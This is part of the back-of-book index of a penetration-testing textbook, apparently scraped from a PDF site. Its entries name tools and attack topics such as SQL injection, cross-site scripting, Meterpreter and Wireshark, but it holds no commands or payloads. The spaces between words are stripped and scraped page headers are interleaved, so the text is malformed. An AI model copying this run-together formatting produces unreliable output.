full-featuredinterfacemode,148

Iceweasel,149–150

panels,148

proxyprogram,149

target’swebsite,148,150

WebScarab,148

SQL,Seestructuredquerylanguage

SSH,Seesecureshell

Stackandheap-basedbufferoverflows,125

StartupRunprograms,178

Structuredquerylanguage(SQL),142–144

injection,153–154

statements,154–155

Page 204: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

SubSeven(Sub7),185

Swissarmyknifeinternettool,51

Syngress,20

T

TCP,Seetransmissioncontrolprotocol

ThreatAgentDrone,46–47

attackvectoridentification,47f

drone,46–47

optionforreconnaissance,46

results,47f

startingsearchwith,46f

Transmissioncontrolprotocol(TCP),59,169

TrueCrypt,192

TrustedSecprogram,135

Tunnelencryption,174

Twofishencryption,174

U

Ubuntu7.04,122–123

Uniformresourcelocator(URL),21,134,142–144

Userdatagramprotocol(UDP),59,169

V

Virtualmachine(VM),7,122,169b

Virtualnetworkcomputing(VNC),81

payload,106

software,92

VirtualPrivateNetwork(VPN),32

VMwareimage,7

Vulnerabilityscanning,16,55,70,72–76

Nessus,72,74,75f

Page 205: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

plug-in,73

resultlink,76

safechecks,75

scanpolicies,75

scantargetsbox,76

settingup“safe”scanoption,74f

W

WebApplicationAuditandAttackFramework(w3af),145–147

flowingcommand,145

Kalimenu,145

plug-ins,145–147

andscanning,145,147

Shellspane,147

Web-basedexploitation,141–142

architectsystemsoftware,142

basics,142–144

cloudcomputingservices,142

codeinjectionattacks,153–157

conceptof,141–142

cross-sitescripting(XSS),157–159

furtherpractice,164

Nikto,144–145

practice,163–164

spidering,148

w3af,145–147

WebScarab,148–153

ZAP,160–163

WebGoat,163–164

WebScarab,148–153

Base64,153

CancelALLIntercepts,152

Page 206: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

hiddenfields,151

HTTPrequestsandresponses,152

proxyserver,151

Websiteattackvectors

antivirusproducts,134

applets,131

IPaddress,131,135

Javaappletpopup,134

Metasploit,133

Meterpretershells,134

payloadselection,132–133

Powershellinjectiontechnique,133

andSET,131

TrustedSec,135

Whiteboxpenetrationtesting,4

WindowsXP,13

Wireshark,111–112

CaptureInterfacewindow,113–115

command,114,125

hub,108–109

“listavailablecaptureinterfaces”button,114

Linuxtarget,115

MACaddress,112

nonpromiscuousmode,111

promiscuousmode,111

sniffing,108,111,116

stoppingWiresharkcapture,115–116

X

XSS,Seecross-sitescripting

Z

Page 207: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

ZedAttackProxy(ZAP),160

breakpointsfunctionality,161

Iceweaselproxysettingsconfiguration,160

inputvariables,161

interception,161–162

inKalimenu,160

scanning,163

spidering,162–163

Zonetransfer,40,42–44

Page 208: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat